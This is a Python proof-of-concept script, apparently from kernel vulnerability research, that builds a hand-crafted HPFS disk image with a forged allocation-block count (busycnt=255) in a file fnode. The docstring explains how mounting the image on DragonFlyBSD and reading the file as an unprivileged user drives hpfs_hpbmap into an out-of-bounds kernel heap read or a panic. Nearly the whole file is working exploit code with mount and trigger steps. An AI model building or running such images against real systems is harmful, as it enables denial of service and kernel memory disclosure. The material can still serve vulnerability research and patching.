DF-0857 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 | #!/usr/bin/env python3 """ DF-0857 โ Hand-crafted minimal HPFS image to trigger the ab_busycnt OOB read in hpfs_hpbmap() end-to-end on the DragonFlyBSD guest. The image is laid out as follows (sector size = 512B, DEV_BSIZE): LSN contents ---- --------------------------------------------------------------- 0x00 boot sector (zeros) 0x10 SuperBlock (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80; su_bitmap.lsn1=0x30) 0x11 SpareBlock (magic FA5229C5F9911849; sp_cpinum=0) 0x20 root fnode (VDIR; fn_ab: busycnt=1, leaf; alleaf[0]={0,1,0x40}) 0x30 bitmap dir (one u32 = 0x38, the bitmap sector) 0x38 bitmap (4KB = 8 sectors; mark used sectors) 0x40 dirblk (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE" โ fnode LSN=0x48) 0x48 file fnode (VREG; fn_size=0x1000; FORGED fn_ab: busycnt=255, leaf; alleaf[0]={0,4,0x50}) 0x50 file data (4 sectors = 2KB of 'A') Mount: mount_hpfs -o ro /dev/vnX /mnt Trigger (as unpriv user): cat /mnt/FILE โ hpfs_read โ hpfs_hpbmap โ loop at hpfs_alsubr.c:114 walks 255 alleaf_t's past fn_abd[0x60] โ OOB heap read / panic """ import struct, sys, os SECTOR = 512 # magics SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE # struct fnode offsets (computed manually, matches hpfs.h layout on amd64): FN_OFF_MAGIC = 0x00 # u32 FN_OFF_HIST = 0x08 # u64 readhist FN_OFF_NAMELEN = 0x10 # u8 FN_OFF_NAME = 0x11 # char[15] FN_OFF_PARENT = 0x20 # lsn_t u32 FN_OFF_ACL = 0x24 # sptr_t (cnt u32 + lsn u32) = 8 FN_OFF_ACLLEN = 0x2C # u16 FN_OFF_ACLFLG = 0x2E # u8 FN_OFF_HISTBC = 0x2F # u8 FN_OFF_EXTEA = 0x30 # sptr_t 8 FN_OFF_EALEN = 0x38 # u16 FN_OFF_EXTEAFLG= 0x3A # u8 FN_OFF_FLAG = 0x3B # u8 (nonzero => VDIR) FN_OFF_AB = 0x3C # alblk_t 8 bytes: flag,res[3],freecnt,busycnt,freeoff(u16) FN_OFF_ABD = 0x44 # u8[0x60] (96) FN_OFF_SIZE = 0xA4 # u32 (offset = 0x44 + 0x60 = 0xA4) # alblk_t internal layout AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 # u16 def build_image(outpath, forged_busycnt=255): size = 0x80 * SECTOR img = bytearray(size) def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF) def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF) def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF) def wr8 (off, v): img[off] = v & 0xFF # ---- Boot sector (sector 0): minimal JMP + 0x55AA ---- img[0] = 0xEB wr16(SECTOR-2, 0xAA55) # ---- SuperBlock @ 0x10 (sector = 0x2000) ---- su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC) wr8 (su + 8, 2) # su_hpfsver wr8 (su + 9, 0) # su_fnctver wr16(su + 10, 0) # unused wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, 0x80) # su_btotal (128 sectors) wr32(su + 20, 0) # su_badbtotal # su_bitmap (rsp_t at offset 24): lsn1, lsn2 wr32(su + 24, 0x30) # su_bitmap.lsn1 wr32(su + 28, 0x30) # su_bitmap.lsn2 # su_badbl (rsp_t at offset 32) wr32(su + 32, 0); wr32(su + 36, 0) # leave the rest zero # ---- SpareBlock @ 0x11 ---- sp = 0x11 * SECTOR wr64(sp + 0, SP_MAGIC) # ---- Bitmap directory @ 0x30 (one u32 = 0x38) ---- bd = 0x30 * SECTOR wr32(bd, 0x38) # hpmp->hpm_bmind[0] = bitmap sector 0x38 # ---- Bitmap @ 0x38 (4KB = 8 sectors). Mark used sectors 0..0x37 ---- bm = 0x38 * SECTOR # btotal = 0x80 sectors. Bitmap has 1 bit per sector. Mark sectors 0..0x3F used (cleared bit), # sectors 0x40..0x7F free (set bit). Bits are stored little-endian within u32 words. # Actually convention: bit SET = sector FREE. We mark all the metadata sectors 0..0x37 as used. for i in range(0x40): byte = bm + (i >> 3) img[byte] &= ~(1 << (i & 7)) for i in range(0x40, 0x80): byte = bm + (i >> 3) img[byte] |= (1 << (i & 7)) # ---- Root fnode @ 0x20 (VDIR) ---- rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr64(rf + FN_OFF_HIST, 0) wr8 (rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) # self-parent for root wr32(rf + FN_OFF_FLAG, 1) # VDIR (nonzero fn_flag) # fn_ab: leaf, busycnt=1, freecnt=7, freeoff=8+12=20 img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 # leaf img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0] in fn_abd: al_off=0, al_len=1, al_lsn=0x40 (the dirblk) wr32(rf + FN_OFF_ABD + 0, 0) # al_off wr32(rf + FN_OFF_ABD + 4, 1) # al_len wr32(rf + FN_OFF_ABD + 8, 0x40) # al_lsn โ dirblk wr32(rf + FN_OFF_SIZE, 4 * SECTOR) # fn_size for dir # ---- Dirblk @ 0x40 (4 sectors = 2KB). D_BSIZE = 2048 ---- db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) # d_magic wr32(db + 4, 0x50) # d_freeoff (first free byte; filled below) wr32(db + 8, 0) # d_chcnt wr32(db + 12, 0x20) # d_parent (root fnode) wr32(db + 16, 0x40) # d_self # First hpfsdirent @ offset 20 (sizeof dirblk_t = 20). # NOTE: on DragonFly amd64, u_long is 8 bytes AND 8-byte-aligned, so the # in-kernel struct hpfsdirent layout has 4 bytes of padding between # de_size (u32) and de_atime (u_long). The kernel casts bytes from the # dirblk to (struct hpfsdirent *), so we must format the dirent to match # DragonFly's own struct layout (NOT the OS/2 on-disk layout): # 0x00 de_reclen u16 # 0x02 de_flag u16 # 0x04 de_fnode lsn_t (u32) # 0x08 de_mtime u_long (u64 on amd64) # 0x10 de_size u32 # 0x14 -- pad 4 bytes for u_long alignment of de_atime -- # 0x18 de_atime u_long (u64) # 0x20 de_ctime u_long (u64) # 0x28 de_ealen u32 # 0x2c de_flexflag u8 # 0x2d de_cpid u8 # 0x2e de_namelen u8 # 0x2f de_name[namelen] # then padded so de_reclen is a multiple of 4; if DE_DOWN, last 4 bytes # of the dirent are the down lsn. We don't set DE_DOWN. name = b'FILE' de1_hdr = 0x2f # up to de_name[0] de1_reclen = de1_hdr + len(name) de1_reclen = (de1_reclen + 3) & ~3 # 4-byte align dep = db + 20 wr16(dep + 0x00, de1_reclen) wr16(dep + 0x02, 0) # flag: not special/down/end wr32(dep + 0x04, 0x48) # de_fnode โ file fnode wr64(dep + 0x08, 0) # de_mtime u64 wr32(dep + 0x10, 0x1000) # de_size wr64(dep + 0x18, 0) # de_atime u64 (after 4-byte pad) wr64(dep + 0x20, 0) # de_ctime u64 wr32(dep + 0x28, 0) # de_ealen img[dep + 0x2c] = 0 # flexflag img[dep + 0x2d] = 0 # cpid img[dep + 0x2e] = len(name) # namelen for i in range(len(name)): img[dep + 0x2f + i] = name[i] # End dirent: just DE_END flag, reclen to fill the rest of dirblk dep2 = dep + de1_reclen end_reclen = 4 * SECTOR - (dep2 - db) # rest of the 2KB dirblk wr16(dep2 + 0x00, end_reclen) wr16(dep2 + 0x02, 0x08) # DE_END # fix d_freeoff (relative to dirblk start) wr32(db + 4, (dep2 + 4) - db) # ---- File fnode @ 0x48 (VREG; FORGED ab_busycnt=255) ---- ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) # parent = root dir wr8 (ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME + 0] = ord('F') img[ff + FN_OFF_NAME + 1] = ord('I') img[ff + FN_OFF_NAME + 2] = ord('L') img[ff + FN_OFF_NAME + 3] = ord('E') wr32(ff + FN_OFF_FLAG, 0) # VREG (fn_flag=0) # FORGED alblk: leaf, busycnt=forged_busycnt, freecnt=0, freeoff=8+12 img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = forged_busycnt # <-- FORGED wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0] in fn_abd: al_off=0, al_len=4, al_lsn=0x50 (file data) wr32(ff + FN_OFF_ABD + 0, 0) wr32(ff + FN_OFF_ABD + 4, 4) wr32(ff + FN_OFF_ABD + 8, 0x50) # poison subsequent alleaf entries so the OOB read has identifiable bytes for k in range(1, 16): # fill rest of fn_abd with marker pattern off = ff + FN_OFF_ABD + k*12 if off + 12 <= ff + FN_OFF_ABD + 0x60: wr32(off + 0, 0xDEADBEEF) wr32(off + 4, 0xCAFEBABE) wr32(off + 8, 0xFEEDFACE) wr32(ff + FN_OFF_SIZE, 0x10000) # fn_size = 64KB >> 4-block extent, so # blocks 4..127 trigger the OOB walk # in hpfs_hpbmap (bn not matching any # in-bounds alleaf) # ---- File data @ 0x50 (4 sectors = 2KB of 'A') ---- fd = 0x50 * SECTOR img[fd:fd+4*SECTOR] = b'A' * (4*SECTOR) with open(outpath, 'wb') as f: f.write(img) print(f"wrote {outpath}: {len(img)} bytes; forged_busycnt={forged_busycnt}") if __name__ == '__main__': n = int(sys.argv[2], 0) if len(sys.argv) > 2 else 255 build_image(sys.argv[1] if len(sys.argv) > 1 else 'df857.img', forged_busycnt=n) |